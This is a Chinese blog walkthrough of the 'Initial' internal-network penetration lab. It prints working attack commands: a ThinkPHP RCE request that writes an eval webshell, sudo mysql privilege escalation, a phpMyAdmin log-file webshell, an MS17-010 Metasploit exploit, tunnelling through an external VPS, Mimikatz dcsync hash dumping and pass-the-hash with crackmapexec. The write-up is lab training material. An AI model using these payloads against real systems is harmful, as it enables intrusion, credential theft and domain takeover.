春秋云镜initial

最新推荐文章于 2024-09-02 22:40:33 发布
最新推荐文章于 2024-09-02 22:40:33 发布
阅读量1.5k 收藏 21
点赞数 7
分类专栏： PENTEST 文章标签： windows
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ULGANOY/article/details/141720091
版权

场景介绍

场景地址：仿真场景-专业徽章 (ichunqiu.com)

靶标介绍：

Initial是一套难度为简单的靶场环境，完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag，各部分位于不同的机器上。

网络拓扑：（借一张图）
在这里插入图片描述

渗透过程

外网

给了个ip :39.99.255.97

先fscan扫一下

┌──(kali㉿kali)-[~/Desktop/PENTEST]
└─$ ./fscan -h 39.99.255.97 -np -full

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
39.99.255.97:22 open
39.99.255.97:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.255.97       code:200 len:5578   title:Bootstrap Material Admin
[+] PocScan http://39.99.255.97 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/2
[*] 扫描结束,耗时: 25.668141774s

有一个thinkphp的洞。

直接用工具拿shell。但工具貌似不大靠谱：

在这里插入图片描述

直接手打Exp:

/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[1]); ?>' > shell.php

在这里插入图片描述

然后蚁剑连接。

然后找flag。当前目录没找着，那么应该就是在root目录下。所以我们需要提权。

尝试sudo -l

在这里插入图片描述

发现可以mysql提权。

照着mysql | GTFOBins来

sudo mysql -e '\! ls /root'
sudo mysql -e '\! ls /root/flag'
sudo mysql -e '\! cat /root/flag/flag01.txt'

在这里插入图片描述

flag01:flag{60b53231-

内网信息收集

接下来就应该打内网了。传一个fscan扫内网。

在这里插入图片描述

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
[*] Icmp alive hosts len is: 4
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.18:3306 open
172.22.1.15:22 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] OsInfo 172.22.1.2	(Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[+] MS17-010 172.22.1.21	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 11.722101054s

可以看到172.22.1.21有一个MS17-010永恒之蓝漏洞，172.22.1.18有一个信呼协同OA。

172.22.1.2是域控。

所以思路比较清晰，利用18开的web服务打18这台主机。

用永恒之蓝打下21，然后横向移动打域控。

内网穿透

这时需要我们用打下的172.22.1.15作为跳板，来做一个内网穿透。

这里采用nps。

vps上布置好服务端

在这里插入图片描述

传client到受控主机上，连接。

在这里插入图片描述

然后建一个socks5隧道。

proxifier和proxychains都配置好代理。在这里插入图片描述

在这里插入图片描述

此时浏览器访问172.22.1.18

可以看到就能够成功访问了

在这里插入图片描述

攻陷域内主机

直接扫漏洞是扫不出来的，这里用dirsearch扫下目录。

proxychains4 dirsearch -u http://172.22.1.18

扫出来有phpMyAdmin

在这里插入图片描述

那就应该是弱口令登录后日志写shell了。

root
root

登录后，

SHOW VARIABLES LIKE 'general%';

在这里插入图片描述

set global general_log = "ON";

然后改日志文件路径

set global general_log_file='C:\\phpStudy\\PHPTutorial\\www\\shell.php'

写入webshell

select"<?php @eval($_POST[1]);?>";

然后访问：http://172.22.1.18/shell.php

蚁剑设置好代理

在这里插入图片描述

在这里插入图片描述

然后这个shell连接不是很稳定，最后在C:\Users\Administrator\flag下找到

在这里插入图片描述

flag02.txt: 2ce3-4813-87d4-

MS17-010

接下来就是打域控了，就按着我们的思路先打MS17-010那台机子，然后横向移动打域控。

172.22.1.21

代理启动msf

proxychains4 msfconsole

先用scanner再确定一下：

use auxiliary/scanner/smb/smb_ms17_010
set RHOST 172.22.1.21
exploit

在这里插入图片描述

确定了就开始打。

直接用永恒之蓝打的话是打不通的

在这里插入图片描述

因为目标主机并不出网，所以我们msf要采用正向监听：

set payload windows/x64/meterpreter/bind_tcp_uuid

这时再exploit就成功了

在这里插入图片描述

这个session很不稳定。。。后续操作很容易断。(怀疑可能是nps的性能问题)

重新换frp来内网穿透

frps.ini:

在这里插入图片描述

./frps -c ./frps.ini

然后frpc配置

[common]
server_addr = 43.135.119.99
server_port = 7000
[test]
type = tcp
remote_port = 7778
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true

在这里插入图片描述

在这里插入图片描述

现在再打就好多了

在这里插入图片描述

内网横向移动 pth

查看uid发现已经是system权限。

然后可以直接用meterpreter的load_kiwi来用Mimikatz

load kiwi

用dcsync来导出域内所有的hash

kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

在这里插入图片描述

现在就拿到hash了。

从先前fscan扫描那儿可以看到

172.22.1.2域控开启了445 smb服务

所以接下来我们就用smb来pass the hash执行命令了

我们传递Administrator的hash

10cf89a850fb1cdbe6bb432b859164c8

用kali自带的crackmapexec

先验证下执行情况：

proxychains4 crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab --shares

在这里插入图片描述

那么接下来就查看flag03就行了。

proxychains4 crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

在这里插入图片描述

flag03:e8f88d0d43d6}

flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

在这里插入图片描述

总结

总结：

  1. frp >> nps
  2. Windows代理不稳定，最好用kali的proxychains
  3. 靶机不出网，msf正向监听打永恒之蓝。
  4. crackmapexec横向移动利用smb pth打域控。
N0zoM1z0
关注
专栏目录
clock_initial.rar_clock_Initial
09-23
标题"clock_initial.rar_clock_Initial"表明这是一个关于初始化单片机时钟的项目，可能包含了设计一个电子钟的完整流程，包括硬件电路图和软件C代码。下面我们将深入探讨这个主题。 1. **单片机时钟基础**： ...
春秋云境—Initial
龙狼刺的博客
07-15 1978
Initial是一套难度为简单的靶场环境，完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag，各部分位于不同的机器上。在DCSync技术没有出现之前，攻击者要想拿到域内用户的hash，就只能在域控制器上运行 Mimikatz 或 Invoke-Mimikatz去抓取密码hash，但是在2015 年 8 月份， Mimkatz新增了一个主要功能叫"DCSync"，使用这项技术可以有效地 “模拟” 域控制器并从目标域控上请求域内用户密码hash。
春秋云境Initial WP
m0_62466350的博客
12-05 1159
Initial是一套难度为简单的靶场环境，完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag，各部分位于不同的机器上。1.菜刀在php7的环境下不能用，这个可是踩了大坑了。菜刀连接PHP WebShell返回200错误 - 知乎 (zhihu.com)[外链图片转存中…(img-SvBaevSt-1701756474326)]1.菜刀在php7的环境下不能用，这个可是踩了大坑了。菜刀连接PHP WebShell返回200错误 - 知乎 (zhihu.com)
春秋云镜-Initial-Writeup
qq_35607078的博客
07-11 1208
春秋运镜-Initial-Writeup
春秋云镜靶场Initial-WriteUP 专业徽章手把手教学
qq_45234543的博客
11-17 3976
春秋云镜靶场Initial-WP，专业徽章，完整flag获取教程
春秋云镜-【仿真场景】Initial writeup
渗透测试研究中心
03-07 1271
开启靶机后是一个带着 ThinkPHP icon 的登陆界面，直接测试一下存在 5.0.23 RCE打一下，PHP-7.4.3 的环境，看一下 disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifco...
MySQL:reading initial communication packet问题解决方法
09-11
网站访问出现如题错误，经过检查my.cnf，发现innodb_buffer_pool_size = 2048M 设置过大，调整为innodb_buffer_pool_size = 1024M即可，网上也有该问题的其他解决方法，但都不能解决我的问题
Initial
10-28
从提供的信息来看，我们有两个文件：Initial1.GIF和Initial.ttf。前者可能是展示这个字体样式的图像文件，后者则是一个TrueType字体文件。 TrueType是一种由Apple公司和Microsoft公司共同开发的字体技术，广泛应用...
initial-CV
03-21
标题“initial-CV”可能指的是一个初步的个人简历或求职信模板，这通常是一个用于展示个人技能、经验、教育背景和个人成就的文档。在IT行业中，这样的简历常常以HTML格式制作，以便在网络上传播和展示，同时也能体现...
initial.py
12-08
initial.py
春秋云镜-【仿真场景】Certify writeup
渗透测试研究中心
03-07 1220
说明Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。技术Solr、AD CS、SMB、Kerberos、域渗透第一个flaglog4j RCE扫描外网IP发现solr存在log4j的组件，测试...
【内网渗透】春秋云镜Intitle WP
Sapphire037的博客
04-23 2317
第一次正式接触内网渗透的东西，写的很新手，也适合新手观看，有问题可以私信或评论，接下来会持续更新。
靶场练习--春秋云境-Certify
NoooEmotion的博客
01-28 1866
Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
i春秋云镜之Initial
weixin_65550121的博客
12-15 615
参考文章：https://blog.csdn.net/solitudi/article/details/118675321。flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6} 最终flag。紧接着在fscan中可以看到存在一个ms17-010的机器，也就是172.22.1.21。通过Fscan进行扫描发现存在Thinkphp RCE漏洞。我们进行getshell之后通过蚁剑进行连接。紧接着通过MSF打MS17-010。然后我们通过蚁剑挂代理进行连接。
【内网渗透】最保姆级的春秋云镜Initial打靶笔记
uuzeray的博客
08-20 688
永恒之蓝打了之后本身就是SYSTEM权限，可以mimikatz搜集域内用户hash。在打DC前先打172.22.1.21 MS17-010永恒之蓝。拿到第一个flag，提示下一个flag在内网服务器。先上传或者wget下载frpc和frpc.ini。suid没有可利用的提权命令，打sudo提权。再用crackmapexec打PTH拿下域控。172.22.1.18 信呼OA系统。先给msf所在机配一下socks5代理。这个一般直接拿kali的msf打就行。然后就能直接浏览器里访问内网服务。
【内网渗透】最保姆级的春秋云镜Delegation打靶笔记
最新发布
uuzeray的博客
09-02 534
结合提示WIN19\Adrian，去打172.22.4.45 ，密码喷洒得到babygirl1这个过期的密码。服务的注册表项进行广泛的修改，包括更改配置、删除和创建新的配置项等。访问./admin后弱口令admin/123456登录后台。再利用强认证漏洞强制DC访问WIN19，拿到其TGT票据。蚁剑上传fscan和frp，扫内网，搭隧道。创建一个administrator权限用户。打administrato的pth。给到hint，明显是一个域用户。找到一个风险文件，大意是可以对。直接读flag2没有权限。
【内网渗透】最保姆级的春秋云镜Tsclient打靶笔记
uuzeray的博客
08-22 694
提示STATUS_PASSWORD_EXPIRED也就是密码过期了，需要使用smbpasswd进行修改密码。172.22.8.46不出网，用172.22.8.18转发上线CS。测出来只有172.22.8.46可以连接。有在线用户可以用CS注入进程上线。上传SweetPotato提权。拿到一套账密，并提示打映像劫持。用PTH打DC，读到flag3。上传fscan和frp相关。致敬经典，选择用放大镜提权。sqlsever权限很低。用John查看共享资源。成功以SYSTEM上线。
靶场练习--春秋云境-Tsclient
NoooEmotion的博客
01-28 2314
Tsclient是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag，分布于不同的靶机。
verilog initial
08-14
Verilog `initial` is a keyword used to define a block of code that will be executed once at the beginning of the simulation. It is commonly used to initialize variables and perform any necessary setup tasks before the main simulation starts. The `initial` block runs concurrently with other procedural blocks in the design. Here's an example of how `initial` is used in Verilog: ```verilog module Example; reg clk; reg [7:0] count; initial begin clk = 0; count = 0; #10; // wait for 10 time units while(count < 8) begin #5; // wait for 5 time units count = count + 1; end $finish; // end simulation end always begin #1; // wait for 1 time unit clk = ~clk; end endmodule ``` In this example, the `initial` block initializes the `clk` and `count` variables. It then waits for 10 time units before entering a loop that increments `count` by 1 every 5 time units. Once `count` reaches 8, the simulation is ended using the `$finish` system function. The `always` block toggles the `clk` signal every 1 time unit. Note that `initial` blocks are not synthesizable and are only used for simulation purposes.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值